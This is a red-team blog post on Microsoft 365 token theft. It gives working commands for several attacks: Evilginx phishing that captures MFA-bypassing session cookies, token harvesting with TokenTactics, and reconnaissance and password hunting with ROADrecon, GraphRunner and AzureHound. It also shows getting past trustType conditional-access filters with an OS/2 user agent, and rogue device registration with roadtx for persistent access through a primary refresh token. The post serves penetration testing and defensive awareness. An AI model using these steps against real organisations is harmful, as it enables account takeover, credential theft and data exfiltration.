Skip to Main Content
February 27, 2024

Weaponization of Token Theft – A Red Team Perspective

Written by Edwin David
Cloud Penetration Testing Office 365 Security Assessment

This blog is the start of several deep dives into the weaponization of token theft. The focus of this blog will be on conditional access around devices and attacker behavior on compromising Microsoft 365 users. Ultimately, some conditions will give us persistent access to a user and a targeted device of our choosing for 90 days.

1 Enterprise Device Scenario

Microsoft recently recommended deploying new devices as cloud-native using Microsoft Entra join. Microsoft Entra hybrid join is no longer recommended. This important notice is outlined in the following article for deploying Microsoft Entra hybrid joined devices.

Figure 1 - Import Notice for Hybrid Entra ID Join

Although this article dives into Windows Autopilot, the notice appears to be directed at any new device. If your organization is using Hybrid Azure AD Join, it may be best to test cloud-native to determine if it’s feasible for your organization.

1.1 What is Entra Hybrid Join?

Hybrid joined device options are configured in Azure Active Directory Connect under the Device systems option.

Figure 2 - Entra ID Connect Options

When hybrid is enforced on an internal AD domain through Azure Active Directory Connect, conditional access is usually a secondary objective to ensuring company-owned assets can access any cloud workload while personal devices are controlled with different conditional access policy sets. When you look at devices in the Entra ID portal, you will find devices listed as “Microsoft Entra hybrid joined.”

Figure 3 - Entra Hybrid Joined Devices

Below is an example policy set that could be enforced with hybrid join.

Figure 4 - Conditional Access Policy Requiring Hybrid Joined Device

Let’s now assume that these policies and settings have been removed in favor of Microsoft Entra ID join. Does it make you less secure? Does it expose you more to token theft? Cloud-native Entra ID join will more than likely cause a few headaches on planning and executing a switch. While this blog won’t dive into those issues, it will dive into issues around exposures in conditional access that can result in token theft. There are no conditional access policy templates for requiring Microsoft Entra ID join to access cloud workloads. You can require devices to be marked as compliant, but that will require additional setup in Intune if you have the licensing for it.

We will dive into trustType filter bypasses with Entra ID join a little later in the blog. 

Now, let’s look into how an attacker can leverage social engineering and gain access to Azure and Microsoft 365 data.

2 Hacking Humans for Red Teamers

Next, we will evaluate two (2) different tool sets to social engineer users into giving us access to Azure. Most likely, we will get low-privileged user access to Azure and cloud data such as Exchange Online/SharePoint online depending on conditional access policies. These next steps assume the only conditional access policy in place is MFA for all users/all cloud workloads.

Evilginx Scenario

Before diving into successful phishing against an end-user, I wanted to introduce how to set up Evilginx in developer mode. Developer mode is extremely useful for penetration testers and red teamers. It doesn’t require you to expose a VPS and you can do your own internal phishlet development before you start social engineering in the wild. I will only be going over how to set up the development mode environment; you will be on your own for phishlet development.

Kali Linux has native Evilginx packages where initial setup is very simple. Installing on Kali Linux can be done with the following command (note that Evilginx2 does set up version 3 in kali):

sudo apt install evilginx2

Once the installation has completed, you can start Evilginx in developer mode with the following command:

sudo evilginx2 -developer

 Next, configure the internal domain and an internal IP address that will be used. I prefer doing the setup through a virtualized environment. Below is an example of a local domain I have set up.

Figure 5 - Evilginx Local Domain Configuration

At this point ,you will want to exit out of Evilginx and modify your host file with your domain located at /etc/hosts and make sure you have your phishlets stored in /usr/share/evilginx2/phishlets.

Next, update your certificate root store with the self-signed Evilginx certificates. Here is the command flow I use to complete:

sudo cp /root/.evilginx/crt/ca.crt /usr/local/share/ca-certificates/evilginx.crtsudo update-ca-certificatessudo cp /root/.evilginx/crt/ca.crt /home/kali/Downloadssudo chown kali /home/kali/Downloads/ca.crt

Once your host file has been modified, you can restart Evilginx in development mode and configure your phishlets and lures. For phishlet setup, you can use the following commands:

phishlets hostname <phishlet_name> <domain name>phishlets enable <phishlet_name>

Once you are done with your phishlet setup, you can set up your lures. Lures can be set up with the following command:

lures create <phishlet_name>

To display lure IDs, simply type the following command:


If you need to retrieve a lure URL, you can do so by specifying the ID of the lure, e.g.:

lures get-url 0

We can now assume some phishing emails have been sent out, and we have successfully phished a Microsoft 365 user secured with the Microsoft Authenticator app. Our phishlet was designed to retrieve stolen session cookie information to be replayed in a web browser.

Figure 6 - Session Cookie Capture from Evilginx Phishing

You can import the session information with the Cookie Editor add-in for Firefox. Once this information is imported, it allows us to access Microsoft 365 services including the security information to the compromised user if no additional conditional access safeguards are in place. This can present opportunities for adding MFA methods, including passwordless.

Figure 7 - Importing Session Cookie Information

With this in hand, we now have the following:

  • User password
  • MFA method under attacker control
  • Session cookie from Evilginx phishing (bypasses MFA)

2.2 Getting Tokens With TokenTactics

It is usually best to work a compromise from multiple perspectives. Session cookies and backdooring MFA methods are good, but access and refresh tokens are better. Using the same browser session where the cookie session information has been entered with Cookie Editor, we can use TokenTactics to get tokens without alerting the end-user by accepting a device code request since we already have a working stolen session.

Figure 8 - Device Code Reques from Token Tactics

Once you authenticate with your device code in the compromised browsing session, you will get a message asking to sign in to Microsoft Office.

Figure 9 - Office Sign In Request

Once the prompt is accepted, you will receive some tokens. You can use offensive tooling for reconnaissance and data exfiltration. Three (3) tools I typically use in this scenario are ROADrecon, GraphRunner, and AzureHound with stolen tokens.

Figure 10 - Refresh Token from TokenTactics

Here is a handy cheat sheet on how to request tokens for use with each offensive tool, assuming you already have an initial token from TokenTactics. The first couple of commands are done through TokenTactics.


roadrecon auth --access-token eyJ0eXA
roadrecon gather


Invoke-ImportTokens -AccessToken "eyJ0eXA" -RefreshToken "0.AVAAp"


./azurehound -r "0.ARwA6Wg..." list --tenant "<tenant_domain>" -o output.json

3 Weaponizing Token Theft With Microsoft Entra ID Join


A Cloud environment is using a trustType in conditional access to mitigate token theft. Attempts to phish a user with Evilginx will be unsuccessful, as we are met with the following message:

Figure 11 - Conditional Access Block

This conditional access error occurs because Evilginx is acting as a reverse proxy when we attempt to phish a user with a malicious domain. The reverse proxy will never be Entra ID joined, which is why this type of error will be encountered by the end-user.

3.1 What are trust types?

In conditional access, you can filter devices by properties and values. One value is called a trustType. While I haven’t seen this setting utilized in the wild, it’s something that an organization could execute in an attempt to control what device types are access cloud workloads. For example, a conditional access block could be initiated against Entra ID join trustType where an administrator doesn’t want personal desktops or laptops connecting to company cloud resources. An example filter set is below.

Figure 12 - Device Filter for Entra Joined Devices

The filter has the following device platforms included in the screenshot below.

Figure 13 - Device Platform Filtering

To round out this conditional access policy, a Grant control of Block access is set.

Figure 14 - Block Access to Non-Company Owned Devices

3.2 Bypassing trustTypes with OS2/Warp Agents and Device Code Phishing

Using a fork of TokenTactics (TokenTacticsV2) for device code phishing, I will first request an MSGraph token with an OS/2 user agent using the following commands:

Import-Module ./TokenTactics.psd1
Get-AzureToken -Client MSGraph -Device OS/2
Figure 15 - Device Code Request with OS/2 Warp Agent

Once you get an initial token back from TokenTacticsv2, you will need to refresh to a regular graph token. The reason for the token return is because OS/2 device agents do not get evaluated under the standard device platforms in conditional access.

Figure 16 - Roadrecon Scan with Access Token

Once your gathering operations are complete, launch the ROADrecon GUI with the following command:

roadrecon gui

This will launch a flask app on port 5000 and you will have a wealth of information at your disposal to launch password-spray attacks or expand targeted phishing operations.

Figure 17 - Roadrecon Dashboard

Another potential avenue for lateral movement is searching through the compromised user’s mailbox for passwords with GraphRunner. It can be worth spraying those passwords or seeing if they are reused anywhere by doing a password-spray attack.

Figure 18 - Searching for Passwords in Email Messages

You can search for passwords in SharePoint Online as well.

Figure 19 - Searching for Passwords in SharePoint Online

3.3 MFA Takeover of Dormant/Service Accounts

APT29 (Cozy Bear) has been known to take advantage of dormant Microsoft 365 accounts including taking advantage of the self-enrollment process for MFA.

Many organizations do not secure their security information registrations in conditional access, and this ultimately results in a gap for account takeover. What I will demonstrate in this final piece of token theft is taking advantage of users, devices, and MFA for persistent access into a cloud environment with Entra ID join enforcement in conditional access.

All it takes is one (1) password spray with a weak password, a successful phish, or searching for passwords in Microsoft 365 services to find dormant accounts that may not be secured with MFA. Service accounts are almost never enrolled in MFA and may even have preventions against implementing MFA. These accounts are often not restricted for cloud authentication. For the final step in the blog, we will use an agent switcher add-in for Firefox to determine a means of bypassing conditional access policies and utilize a tool called roadtx to maintain persistent access with a primary refresh token.

So far, we have the following scenario:

  • User ID and password of dormant account from password spraying
  • Dormant account is not enrolled into MFA
  • Conditional access policy restricting all users to Entra ID joined devices
  • No restrictions on modifying security information

Next, we will explore the use of roadtx to work around these issues. First we will do interactive authentication to perform a device registration with the following command: 

roadtx interactiveauth -u [email protected] -p 'password' -r devicereg

Since the account is dormant, it will ask us to register for MFA.

Figure 20 - MFA Enrollment Prompt

Next, we will give our device a name in roadtx with the following command:

roadtx device -n hackerdevice1337
Figure 21 - Device Registration

The above will flush out a public/private keypair for the device, which will be needed as we pair the keys during the primary refresh token and enrichment process with MFA.

Next, we will start the primary refresh token process where we save all this information out to a file with roadtx. The following command will need to be issued:

roadtx prt -u [email protected] -p 'password' --key hackerdevice1337.key --cert-pem hackerdevice1337.pem

As long as you obtain a PRT and session key, you should be ready for the next step.

Figure 22 - Roadtx Session Key from Device Certificates

The next part of the process will require MFA, and it is ideal to have an account that has an MFA method registered under the attacker's control. The following command needs to be issued for the enrichment process:

roadtx prtenrich --prt roadtx.prt
Figure 23 – Add MFA Claim to Primary Refresh Token

The refresh token that was received is a special refresh token with an MFA claim. We can now use it and add the MFA claim to our primary refresh token with the following command:

roadtx prt -u [email protected] -p 'password' --key hackerdevice1337.key --cert-pem hackerdevice1337.pem -r "0AVAA.."
Figure 24 - Adding Special Refresh Token to PRT

At this point, you can use the browserprtinject function and gain automatic access to any Microsoft 365 or Azure URL provided, such as Microsoft Office.

roadtx browserprtinject -u [email protected] --prt roadtx.prt -url
Figure 25 - Access to Microsoft 365

If we briefly look at the device we created in Azure, we will see it is Microsoft Entra ID joined.

Figure 26 - Entra ID Device Status

Stay tuned as I will be back with part 2 of this blog series to focus specifically on token theft attacker disruption.

I also want to give a special shoutout to the following toolsets mentioned in this blog and the incredible people who dedicated their time and development efforts.

@_dirkjan – Dirk-jan Mollema ROADtools 

@424f4f424f – Steve Borosh – TokenTactics 

@fabian_bader – Fabian Bader – TokenTacticsV2

@dafthack – Beau Bullock – GraphRunner 

To the entire contributor crew for AzureHound